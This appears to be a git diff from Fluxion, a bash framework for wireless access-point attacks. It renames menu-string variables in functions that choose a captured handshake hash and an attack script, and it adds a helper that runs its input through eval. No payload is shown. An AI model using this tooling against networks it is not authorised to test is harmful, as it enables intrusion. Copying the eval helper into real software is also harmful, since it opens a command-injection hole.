read APTargetHashPathConsidered
@ -899,18 +878,18 @@ function set_hash() {
while [ ! -f "$APTargetHashPath" -o ! -s "$APTargetHashPath" ]; do
fluxion_header
echo -e "$FLUXIONVLine $DialogQueryHashSource"
echo -e "$FLUXIONVLine $FLUXIONHashSourceQuery"
echo
view_target_ap_info
local choices=("$DialogOptionHashSourcePath" "$DialogOptionHashSourceRescan" "$general_back")
local choices=("$FLUXIONHashSourcePathOption" "$FLUXIONHashSourceRescanOption" "$FLUXIONGeneralBackOption")
io_query_choice "" choices[@]
case "$IOQueryChoice" in
"$DialogOptionHashSourcePath") set_hash_path; check_hash;;
"$DialogOptionHashSourceRescan") set_hash;; # Rescan checks hash automatically.
"$general_back" ) unset_hash; return 1;;
"$FLUXIONHashSourcePathOption") set_hash_path; check_hash;;
"$FLUXIONHashSourceRescanOption") set_hash;; # Rescan checks hash automatically.
"$FLUXIONGeneralBackOption" ) unset_hash; return 1;;
esac
# This conditional is required for return values
@ -938,18 +917,18 @@ function set_attack() {
fluxion_header
echo -e "$FLUXIONVLine $header_set_attack"
echo -e "$FLUXIONVLine $FLUXIONAttackQuery"
echo
view_target_ap_info
local attacks=(attacks/* "$general_back")
local attacks=(attacks/* "$FLUXIONGeneralBackOption")
attacks=("${attacks[@]/attacks\//}")
attacks=("${attacks[@]/.sh/}")
io_query_choice "" attacks[@]
if [ "$IOQueryChoice" = "$general_back" ]; then
if [ "$IOQueryChoice" = "$FLUXIONGeneralBackOption" ]; then
unset_target_ap
unset_attack
return 1
@ -971,8 +950,8 @@ function set_attack() {
function run_attack() {
start_attack
local choices=("$DialogOptionSelectAnotherAttack" "$general_exit")
io_query_choice "${CCyn}$FLUXIONAttack$CClr $DialogNoticeAttackInProgress" choices[@]
local choices=("$FLUXIONSelectAnotherAttackOption" "$FLUXIONGeneralExitOption")
io_query_choice "`io_dynamic_output $FLUXIONAttackInProgressNotice`" choices[@]
# IOQueryChoice is a global, meaning, its value is volatile.
# We need to make sure to save the choice before it changes.
@ -980,7 +959,7 @@ function run_attack() {
stop_attack
if [ "$choice" = "$general_exit" ]; then exitmode; fi
if [ "$choice" = "$FLUXIONGeneralExitOption" ]; then exitmode; fi
unset_attack
}

View File

@ -29,6 +29,10 @@ function io_input_choice() {
IOInputChoice=$__io_input_choice__choice
}
function io_dynamic_output() {
eval 'echo -ne "'${@}'"'
}
function io_input_enumerated_choice() {
local __io_input_enumerated_choice__choices=("${!1}")
local __io_input_enumerated_choice__indexes=($(seq ${#__io_input_numeric_choice__choices[@]}))